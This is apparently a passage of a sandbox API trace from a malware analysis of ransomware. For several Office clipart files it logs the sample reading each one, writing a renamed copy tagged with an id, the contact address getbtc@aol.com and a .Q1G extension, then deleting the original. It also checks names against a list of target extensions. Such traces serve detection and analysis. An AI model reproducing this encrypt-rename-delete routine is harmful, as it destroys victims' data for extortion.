"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.631] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.631] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.632] GetLastError () returned 0x0 [0258.632] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x2b64, lpOverlapped=0x0) returned 1 [0258.633] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x2b70, lpOverlapped=0x0) returned 1 [0258.634] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.634] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.634] SetEndOfFile (hFile=0x390) returned 1 [0258.635] CloseHandle (hObject=0x390) returned 1 [0258.635] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.635] SetEndOfFile (hFile=0x394) returned 1 [0258.637] CloseHandle (hObject=0x394) returned 1 [0258.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0258.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.638] lstrlenW (lpString=".doc") returned 4 [0258.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.638] lstrlenW (lpString=".docx") returned 5 [0258.638] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.638] lstrlenW (lpString=".pdf") returned 4 [0258.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.638] lstrlenW (lpString=".xls") returned 4 [0258.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.639] lstrlenW (lpString=".xlsx") returned 5 [0258.639] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.639] lstrlenW (lpString=".ppt") returned 4 [0258.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.639] lstrlenW (lpString=".zip") returned 4 [0258.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.639] lstrlenW (lpString=".rar") returned 4 [0258.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString=".bz2") returned 4 [0258.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString=".7z") returned 3 [0258.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.639] lstrlenW (lpString=".dbf") returned 4 [0258.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.639] lstrlenW (lpString=".1cd") returned 4 [0258.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.639] lstrlenW (lpString=".jpg") returned 4 [0258.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.639] lstrlenW (lpString=".doc") returned 4 [0258.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString=".docx") returned 5 [0258.639] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0258.639] lstrlenW (lpString=".pdf") returned 4 [0258.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.639] lstrlenW (lpString=".xls") returned 4 [0258.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.639] lstrlenW (lpString=".xlsx") returned 5 [0258.639] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0258.640] lstrlenW (lpString=".ppt") returned 4 [0258.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.640] lstrlenW (lpString=".zip") returned 4 [0258.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.640] lstrlenW (lpString=".rar") returned 4 [0258.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.640] lstrlenW (lpString=".bz2") returned 4 [0258.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.640] lstrlenW (lpString=".7z") returned 3 [0258.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.640] lstrlenW (lpString=".dbf") returned 4 [0258.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.640] lstrlenW (lpString=".1cd") returned 4 [0258.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0258.640] lstrlenW (lpString=".jpg") returned 4 [0258.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.640] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.640] lstrlenW (lpString="J0107282.WMF") returned 12 [0258.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.641] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=14132) returned 1 [0258.641] CloseHandle (hObject=0x394) returned 1 [0258.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 0x20 [0258.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.641] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.641] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.642] GetLastError () returned 0x0 [0258.642] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3734, lpOverlapped=0x0) returned 1 [0258.775] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3740, lpOverlapped=0x0) returned 1 [0258.776] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.776] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.776] SetEndOfFile (hFile=0x390) returned 1 [0258.777] CloseHandle (hObject=0x390) returned 1 [0258.777] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.777] SetEndOfFile (hFile=0x394) returned 1 [0258.780] CloseHandle (hObject=0x394) returned 1 [0258.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107282.wmf")) returned 1 [0258.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.805] lstrlenW (lpString=".doc") returned 4 [0258.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.805] lstrlenW (lpString=".docx") returned 5 [0258.805] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.805] lstrlenW (lpString=".pdf") returned 4 [0258.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.805] lstrlenW (lpString=".xls") returned 4 [0258.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.805] lstrlenW (lpString=".xlsx") returned 5 [0258.805] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.805] lstrlenW (lpString=".ppt") returned 4 [0258.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.805] lstrlenW (lpString=".zip") returned 4 [0258.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.805] lstrlenW (lpString=".rar") returned 4 [0258.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.805] lstrlenW (lpString=".bz2") returned 4 [0258.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.806] lstrlenW (lpString=".7z") returned 3 [0258.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.806] lstrlenW (lpString=".dbf") returned 4 [0258.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.806] lstrlenW (lpString=".1cd") returned 4 [0258.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.806] lstrlenW (lpString=".jpg") returned 4 [0258.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.806] lstrlenW (lpString=".doc") returned 4 [0258.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.806] lstrlenW (lpString=".docx") returned 5 [0258.806] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.806] lstrlenW (lpString=".pdf") returned 4 [0258.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.806] lstrlenW (lpString=".xls") returned 4 [0258.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.806] lstrlenW (lpString=".xlsx") returned 5 [0258.806] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.806] lstrlenW (lpString=".ppt") returned 4 [0258.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.807] lstrlenW (lpString=".zip") returned 4 [0258.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.807] lstrlenW (lpString=".rar") returned 4 [0258.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.807] lstrlenW (lpString=".bz2") returned 4 [0258.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.807] lstrlenW (lpString=".7z") returned 3 [0258.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.807] lstrlenW (lpString=".dbf") returned 4 [0258.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.807] lstrlenW (lpString=".1cd") returned 4 [0258.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107282.WMF") returned 63 [0258.807] lstrlenW (lpString=".jpg") returned 4 [0258.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.807] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.807] lstrlenW (lpString="J0107302.WMF") returned 12 [0258.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0258.822] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=4136) returned 1 [0258.822] CloseHandle (hObject=0x390) returned 1 [0258.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 0x20 [0258.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0258.865] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.865] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0258.866] GetLastError () returned 0x0 [0258.866] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1028, lpOverlapped=0x0) returned 1 [0258.877] WriteFile (in: hFile=0x3c8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1030, lpOverlapped=0x0) returned 1 [0258.878] ReadFile (in: hFile=0x394, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0258.878] WriteFile (in: hFile=0x3c8, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0258.878] SetEndOfFile (hFile=0x3c8) returned 1 [0258.879] CloseHandle (hObject=0x3c8) returned 1 [0258.879] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0258.879] SetEndOfFile (hFile=0x394) returned 1 [0258.881] CloseHandle (hObject=0x394) returned 1 [0258.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.881] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107302.wmf")) returned 1 [0258.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.882] lstrlenW (lpString=".doc") returned 4 [0258.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.882] lstrlenW (lpString=".docx") returned 5 [0258.882] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.882] lstrlenW (lpString=".pdf") returned 4 [0258.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.882] lstrlenW (lpString=".xls") returned 4 [0258.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.882] lstrlenW (lpString=".xlsx") returned 5 [0258.882] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.883] lstrlenW (lpString=".ppt") returned 4 [0258.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.883] lstrlenW (lpString=".zip") returned 4 [0258.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.883] lstrlenW (lpString=".rar") returned 4 [0258.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString=".bz2") returned 4 [0258.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString=".7z") returned 3 [0258.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.883] lstrlenW (lpString=".dbf") returned 4 [0258.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.883] lstrlenW (lpString=".1cd") returned 4 [0258.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.883] lstrlenW (lpString=".jpg") returned 4 [0258.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.883] lstrlenW (lpString=".doc") returned 4 [0258.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString=".docx") returned 5 [0258.883] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0258.883] lstrlenW (lpString=".pdf") returned 4 [0258.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.883] lstrlenW (lpString=".xls") returned 4 [0258.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.883] lstrlenW (lpString=".xlsx") returned 5 [0258.883] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0258.883] lstrlenW (lpString=".ppt") returned 4 [0258.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.884] lstrlenW (lpString=".zip") returned 4 [0258.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.884] lstrlenW (lpString=".rar") returned 4 [0258.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.884] lstrlenW (lpString=".bz2") returned 4 [0258.884] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.884] lstrlenW (lpString=".7z") returned 3 [0258.884] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.884] lstrlenW (lpString=".dbf") returned 4 [0258.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.884] lstrlenW (lpString=".1cd") returned 4 [0258.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107302.WMF") returned 63 [0258.884] lstrlenW (lpString=".jpg") returned 4 [0258.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.884] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0258.884] lstrlenW (lpString="J0107328.WMF") returned 12 [0258.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0258.901] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6532) returned 1 [0258.901] CloseHandle (hObject=0x3a8) returned 1 [0258.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf")) returned 0x20 [0258.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.011] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.012] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107328.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107328.wmf.id-9c354b42.[getbtc@aol.com].q1g"), 